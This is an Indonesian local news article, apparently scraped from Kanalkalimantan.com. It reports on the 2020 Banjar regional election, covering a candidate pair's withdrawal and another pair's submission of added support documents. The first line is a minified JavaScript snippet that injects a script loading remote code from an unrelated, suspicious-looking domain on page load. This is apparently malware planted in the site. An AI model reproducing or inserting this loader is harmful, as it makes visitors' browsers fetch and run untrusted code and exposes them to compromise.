(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, MARTAPURA – Jelang tengat habisnya masa perbaikan dukungan, KPU Banjar menerima berkas pengunduran diri pasangan kandidat calon jalur independen di Pilkada Banjar Yunani-Sidiq.
M Taufik, selaku tim pemenangan Yunani-Sidiq menyerahkan berkas pengunduran diri pasangannya di Pilkada Banjar ke KPU. Sayangnya, saat hendak dikonfirmasi, yang bersangkutan enggan diwawancara.
Terkait hal tersebut, Muhaimin S. Ag selaku Ketua KPU Banjar menyampaikan dalam berkas pengunduran diri dari bakal calon yunani dan Shiddik sudah diterima.
“Dalam suratnya beliau menyatakan sangat menghargai proses demokrasi yang saat ini tengah dilaksanakan,” katanya kepada Kanalkalimantan, Senin (27/7/2020) malam.
Baca juga :
Muhaiman mengatakan, saat ini pihaknya masih menunggu kedatangan calon lain. Termasuk pasangan Mada Teruna-Ferryansyah. Meskipun sebelumnya mereka menyatakan menolak hasil pleno verifikasi suara KPU Banjar.
Sebelumnya, didampingi Tim Relawan Kawal Andin, pasangan Andin Sofyanoor dan KH Syarif Bustomi (Guru Oton), serahkan kekurangan syarat maju calon independen sebanyak dukungan ke KPU Banjar, Senin (27/7/2020) pukul 20.30 Wita. Andin-Guru Oton membawa 21.194 dukungan untuk menambal kekurangan dari hasil verifikasi faktual lima hari lalu. Jumlah tersebut melebihi dari ‘denda’ yang diminta KPU sebanyak 13.118 suara.
Pantauan Kanalkalimantan.com di KPU Banjar, pasangan ini membawa 18 box syarat perbaikan berkas dukungan dari berbagai kecamatan di Kabupaten Banjar. Dukungan tambahan tersebut diterima Ketua KPU Banjar Muhaimin.
Baca juga:
“Kami mengucapkan terimakasih kepada pasangan bakal calon bupati perseorangan yang telah sesuai dengan tepat waktu dan telah kita tentukan, sekarang kita bisa sama sama saling menyaksikan proses demokrasi ini,” ujar Muhaimin.
Pasca diterimanya dukungan tambahan ini, sembilan anggota dari KPU, Bawaslu dan tim Bacalon akan mengecek berbagai dukungan apa saja yang telah bawa, seperti B. 1.1-KWK. “Kita akan melihat detail pengecekan ini yang mana akan berlangsung hingga besok Selasa (28/7/2020) pukul 24.00 Wita, yang akan diselesaikan oleh tim teknis kami yang sudah disiapkan,” kata Muhamimin. (Kanalkalimantan.com/putra)
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
This website uses cookies.